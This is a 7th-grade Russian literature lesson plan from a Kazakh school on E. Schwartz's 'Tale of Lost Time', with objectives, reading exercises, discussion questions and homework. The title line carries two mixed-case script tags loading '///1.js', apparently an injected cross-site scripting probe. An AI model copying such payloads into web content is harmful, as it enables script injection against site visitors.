Ашық сабақ тақырыбы "Л. Шварц. «Сказка о потерянном времени»"<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Тема урока: § 59-60Е.

Л. Шварц. «Сказка о потерянном времени»

Школа  Озенская ОСШ

Дата:

ФИО учителя  Мустафина К.М.

КЛАСС 7

Количество

присутствующих

Количество отсутствующих

Цели обучения, которые необходимо достичь на данном уроке

С 7.1.5.1 - прогнозировать содержание по заголовку или началу текста.

Г 7.2.2.1- пересказывать содержание, используя различные приемы сжатия текста;

Ч 7.3.3.1 - формулировать проблемные вопросы по тексту, позволяющие выдвигать идеи, предположения, и отвечать на вопросы, приводя аргументы, связывать информацию текста с другими фактами из реальной жизни;

П 7.4.2.1 - излагать сжато содержание текста на основе прослушанного, прочитанного и/или аудиовизуального материала;

ИЯЕ 7.5.2.2 - использовать сложные предложения, выражающие условные, уступительные, сравнительные, сопоставительные отношения;

Цели урока

Учащиеся могут:

- строить речь логично и последовательно, демонстрируя нормы устной и письменной речи

План

Этап урока/время

Действия педагога

Действия учеников

Оценивание

ресурсы

0–2 мин

I. Организационный момент.

Подарите улыбки друг другу.

Улыбнитесь друг другу, себе. Приятного вам учебного дня!

Учитель приветствует учащихся на трех языках: казахском, русском, английском.

Создание коллаборативной среды.

Фо

приветствие

Начало урока

II. Актуализация знаний.

(К)

Обратите внимание на название произведения Е. Л. Шварца «Сказка о потерян­ном времени». Как вы думаете, о чём эта сказка?

Фо

взаимооценивание

Учебник

Середина урока

III. Изучение нового материала.

 (Г)Осмысленное чтение    сказки.

Упр. 387. Прочитайте 1-ю часть «Сказки о потерянном времени» Е. Л. Шварца.К (деятельность учащихся) ученики читают  отрывок и отвечают на вопросы упр 388.

Упр.389. Чтение 2 части с помощью «карточки-информатора».

и отвечают на вопросы упр 390.                                                                      Упр. 391. Ученики слушают 3 часть сказки и выполняют задания: упр.392. Ответить  на вопросы и  найти  сложное предложение с условным значением.

Упр. 393. Послушайте 4-ю часть сказки. Сформулируйте «толстые» вопросы к этой части, ис­пользуя союзы несмотря на то что, хотя.

Упр. 394. Ответьте на вопросы.

Физминутка.

IV.

Освоение изученного материала.

395. Литературный диктант.

Работа над развитием связной речи. Вы согласны со следующим утверждением в тексте? Поделитесь своим мнением, употребляя вводные слова, выражающие порядок мыслей и связь между ними.

363. Составьте синквейн к словужизнь.

Фо

взаимооценивание

Учебник

Ключевые слова и фразы:керосиновая лампа – лампа, освещённая при помощи керосина, ходики – гірлі қабырға сағат, время –  ценность человека;

Используемый язык для диалога/письма на уроке:

русский.

Вопросы для обсуждения:Умеем ли мы дорожить временем?

Конец урока

Домашнее задание.Для самостоятельного изучения предлагается «УС».1. Найдите и дочитайте сказку до конца и подготовьтесь к читатель­ской конференции: сформулируйте вопросы главным героям сказки – детям, волшебникам и автору сказки.

2*. Составьте сложный план к тексту сказки, подготовьте пересказ.

396. Составьте синквейн к слову жизнь.

Рефлексия

Как проходило занятие?Что было удачно?Что было неудачно?Что Вы хотите изменить?В какой поддержке Вы нуждаетесь?